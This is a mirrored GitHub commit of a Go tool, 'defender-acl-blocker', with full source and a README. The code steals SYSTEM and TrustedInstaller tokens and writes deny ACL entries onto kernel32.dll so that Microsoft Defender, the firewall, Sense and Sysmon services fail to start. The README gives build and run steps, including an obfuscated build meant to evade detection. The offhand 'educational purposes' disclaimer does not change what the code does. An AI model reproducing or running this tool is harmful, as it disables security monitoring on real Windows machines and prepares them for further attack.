mirror of
https://github.com/lkarlslund/defender-acl-blocker
synced 2026-06-06 16:04:36 +00:00
Let's go
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
module github.com/lkarlslund/defender-acl-blocker
|
||||
|
||||
go 1.24.6
|
||||
|
||||
require (
|
||||
github.com/Microsoft/go-winio v0.6.2
|
||||
golang.org/x/sys v0.40.0
|
||||
)
|
||||
@@ -0,0 +1,4 @@
|
||||
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
|
||||
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
|
||||
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
|
||||
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
@@ -0,0 +1,275 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"encoding/binary"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
winio "github.com/Microsoft/go-winio"
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/svc"
|
||||
"golang.org/x/sys/windows/svc/mgr"
|
||||
)
|
||||
|
||||
type tokenstealer struct {
|
||||
servicename string
|
||||
executable string
|
||||
}
|
||||
|
||||
const (
|
||||
TOKEN_ASSIGN_PRIMARY = 0x0001
|
||||
TOKEN_DUPLICATE = 0x0002
|
||||
TOKEN_IMPERSONATE = 0x0004
|
||||
TOKEN_QUERY = 0x0008
|
||||
TOKEN_QUERY_SOURCE = 0x0010
|
||||
TOKEN_ADJUST_PRIVILEGES = 0x0020
|
||||
TOKEN_ADJUST_GROUPS = 0x0040
|
||||
TOKEN_ADJUST_DEFAULT = 0x0080
|
||||
TOKEN_ADJUST_SESSIONID = 0x0100
|
||||
TOKEN_ALL_ACCESS = 0xF01FF
|
||||
)
|
||||
|
||||
var (
|
||||
SYSTEM = tokenstealer{
|
||||
executable: "winlogon.exe",
|
||||
}
|
||||
TRUSTEDINSTALLER = tokenstealer{
|
||||
servicename: "TrustedInstaller",
|
||||
executable: "trustedinstaller.exe",
|
||||
}
|
||||
modadvapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
impersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
openProcessToken = modadvapi32.NewProc("OpenProcessToken")
|
||||
duplicateTokenEx = modadvapi32.NewProc("DuplicateTokenEx")
|
||||
)
|
||||
|
||||
func enableSeDebugPrivilege() error {
|
||||
return winio.EnableProcessPrivileges([]string{"SeDebugPrivilege"})
|
||||
}
|
||||
|
||||
func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
|
||||
for i, v := range exeFile {
|
||||
if v <= 0 {
|
||||
return string(utf16.Decode(exeFile[:i]))
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getProcessPid(executable string) (uint32, error) {
|
||||
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer windows.CloseHandle(snapshot)
|
||||
|
||||
var procEntry windows.ProcessEntry32
|
||||
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
|
||||
|
||||
if err := windows.Process32First(snapshot, &procEntry); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
for {
|
||||
if strings.EqualFold(parseProcessName(procEntry.ExeFile), executable) {
|
||||
return procEntry.ProcessID, nil
|
||||
} else {
|
||||
if err = windows.Process32Next(snapshot, &procEntry); err != nil {
|
||||
if err == windows.ERROR_NO_MORE_FILES {
|
||||
break
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("cannot find %v in running process list", executable)
|
||||
}
|
||||
|
||||
func getpid(ts tokenstealer) (uint32, error) {
|
||||
if ts.servicename != "" {
|
||||
svcMgr, err := mgr.Connect()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("cannot connect to svc manager: %v", err)
|
||||
}
|
||||
defer svcMgr.Disconnect()
|
||||
|
||||
n, err := windows.UTF16PtrFromString(ts.servicename)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
h, err := windows.OpenService(svcMgr.Handle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
s := &mgr.Service{Name: ts.servicename, Handle: h}
|
||||
defer s.Close()
|
||||
|
||||
status, err := s.Query()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("cannot query service: %v", err)
|
||||
}
|
||||
|
||||
if status.State != svc.Running {
|
||||
if err := s.Start(); err != nil {
|
||||
return 0, fmt.Errorf("cannot start service: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pid, err := getProcessPid(ts.executable)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("cannot get process pid: %v", err)
|
||||
}
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func impersonate(ts tokenstealer) error {
|
||||
pid, err := getpid(ts)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot get pid: %v", err)
|
||||
}
|
||||
|
||||
hand, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenProcess failed: %v", err)
|
||||
}
|
||||
defer windows.CloseHandle(hand)
|
||||
|
||||
var hToken syscall.Handle
|
||||
res, _, err := openProcessToken.Call(uintptr(hand), TOKEN_DUPLICATE|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
|
||||
if res == 0 {
|
||||
return fmt.Errorf("OpenProcessToken failed: %v", err)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hToken))
|
||||
|
||||
var hDup syscall.Handle
|
||||
res, _, err = duplicateTokenEx.Call(uintptr(hToken), TOKEN_ALL_ACCESS, 0, 2, 1, uintptr(unsafe.Pointer(&hDup)))
|
||||
if res == 0 {
|
||||
return fmt.Errorf("DuplicateTokenEx failed: %v", err)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hDup))
|
||||
|
||||
res, _, err = impersonateLoggedOnUser.Call(uintptr(hDup))
|
||||
if res == 0 {
|
||||
return fmt.Errorf("ImpersonateLoggedOnUser failed: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func serviceSid(shortname string) string {
|
||||
s := sha1.New()
|
||||
bytes := make([]byte, len(shortname)*2)
|
||||
for i, pair := range utf16.Encode([]rune(strings.ToUpper(shortname))) {
|
||||
bytes[i*2] = byte(pair)
|
||||
bytes[i*2+1] = byte(pair << 8)
|
||||
}
|
||||
s.Write(bytes)
|
||||
hash := s.Sum(nil)
|
||||
sid := "S-1-5-80"
|
||||
for i := 0; i <= 16; i += 4 {
|
||||
val := binary.LittleEndian.Uint32(hash[i:])
|
||||
sid += fmt.Sprintf("-%v", val)
|
||||
}
|
||||
return sid
|
||||
}
|
||||
|
||||
type stringSlice []string
|
||||
|
||||
func (s *stringSlice) String() string {
|
||||
return strings.Join(*s, ",")
|
||||
}
|
||||
|
||||
func (s *stringSlice) Set(value string) error {
|
||||
*s = append(*s, strings.Split(value, ",")...)
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
var services stringSlice
|
||||
flag.Var(&services, "services", "List of services to disable (comma separated)")
|
||||
targetdll := flag.String("target", "C:\\WINDOWS\\SYSTEM32\\KERNEL32.DLL", "Target to prohibit loading")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
if len(services) == 0 {
|
||||
services = []string{"WinDefend", "mpssvc", "Sense", "MDCoreSvc", "wscsvc", "WdNisSvc", "sysmon", "sysmon64"}
|
||||
}
|
||||
|
||||
if err := enableSeDebugPrivilege(); err != nil {
|
||||
fmt.Printf("can not enable debug privs: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
|
||||
err := impersonate(SYSTEM)
|
||||
if err != nil {
|
||||
fmt.Printf("Cannot impersonate SYSTEM: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
err = impersonate(TRUSTEDINSTALLER)
|
||||
if err != nil {
|
||||
fmt.Printf("Cannot impersonate TRUSTEDINSTALLER: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
sd, err := windows.GetNamedSecurityInfo(*targetdll, windows.SE_FILE_OBJECT, windows.DACL_SECURITY_INFORMATION)
|
||||
if err != nil {
|
||||
fmt.Printf("Cannot get DACL from %v: %v\n", *targetdll, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
acl, _, err := sd.DACL()
|
||||
if err != nil {
|
||||
fmt.Printf("Error extracting DACL: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
var trusteelist []windows.EXPLICIT_ACCESS
|
||||
for _, service := range services {
|
||||
defend, err := windows.StringToSid(serviceSid(service))
|
||||
if err != nil {
|
||||
fmt.Printf("cannot convert SID to string: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
trustee := windows.TrusteeValueFromSID(defend)
|
||||
|
||||
trusteelist = append(trusteelist, windows.EXPLICIT_ACCESS{
|
||||
AccessPermissions: windows.GENERIC_ALL,
|
||||
AccessMode: windows.DENY_ACCESS,
|
||||
Inheritance: windows.NO_INHERITANCE,
|
||||
Trustee: windows.TRUSTEE{
|
||||
TrusteeForm: windows.TRUSTEE_IS_SID,
|
||||
TrusteeType: windows.TRUSTEE_IS_UNKNOWN,
|
||||
TrusteeValue: trustee,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
newacl, err := windows.ACLFromEntries(trusteelist, acl)
|
||||
if err != nil {
|
||||
fmt.Printf("cannot create new ACL: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
if err := windows.SetNamedSecurityInfo(
|
||||
*targetdll, windows.SE_FILE_OBJECT,
|
||||
windows.DACL_SECURITY_INFORMATION,
|
||||
nil, nil, newacl, nil); err != nil {
|
||||
fmt.Printf("cannot set security info on %s: %v\n", *targetdll, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
fmt.Println("Operation completed successfully.")
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
# Defender ACL Blocker
|
||||
Disable Microsoft Defender user space part with simple ACL deny ACL
|
||||
|
||||
## Usage
|
||||
|
||||
### Regular build:
|
||||
- install [Go](https://go.dev/dl/)
|
||||
- clone this repo: `git clone https://github.com/lkarlslund/defender-acl-blocker`
|
||||
- build it: `cd defender-acl-blocker && go build .`
|
||||
|
||||
### Obfuscated build:
|
||||
- install [Go](https://go.dev/dl/)
|
||||
- install Garble: `go install mvdan.cc/garble@latest`
|
||||
- clone this repo: `git clone https://github.com/lkarlslund/defender-acl-blocker`
|
||||
- build it: `cd defender-acl-blocker && garble -tiny -literals -seed=random build .`
|
||||
|
||||
### Run it:
|
||||
From elevated command prompt:
|
||||
|
||||
```
|
||||
defender-acl-blocker.exe
|
||||
```
|
||||
|
||||
Reboot. Defender primary user mode service can not start anymore.
|
||||
|
||||
## How it works
|
||||
|
||||
The tool follows these steps to effectively block Defender (and other services) from starting:
|
||||
|
||||
1. It enables `SeDebugPrivilege` to allow the process to interact with other system processes.
|
||||
2. It first impersonates the `SYSTEM` account by stealing a token from `winlogon.exe`.
|
||||
* It then impersonates `TrustedInstaller`. If the service isn't running, it starts it, steals the token from the `trustedinstaller.exe` process, and assumes its identity. This provides the highest possible permissions over system files.
|
||||
3. It calculates the unique Service SID for each target service (e.g., `WinDefend`, `Sense`, `mpssvc`). Service SIDs are in the format `S-1-5-80-...` and are used to identify the service's identity in the local system.
|
||||
4. It retrieves the current Discretionary Access Control List (DACL) of a target system file (by default `C:\Windows\System32\kernel32.dll`).
|
||||
* It prepends "DENY" Access Control Entries (ACEs) for each of the calculated Service SIDs to the ACL.
|
||||
* It applies the modified ACL back to the target file.
|
||||
5. Because "Deny" ACEs take precedence over any "Allow" ACEs, the Windows Loader will refuse to load the target DLL (like `kernel32.dll`) when the service tries to start. Since almost every user-mode process requires `kernel32.dll`, the Defender services fail to initialize and start.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is provided as-is, for educational purposes only, and is not supported by Microsoft, yada yada. Don't use it.
|
||||
Reference in New Issue
Block a user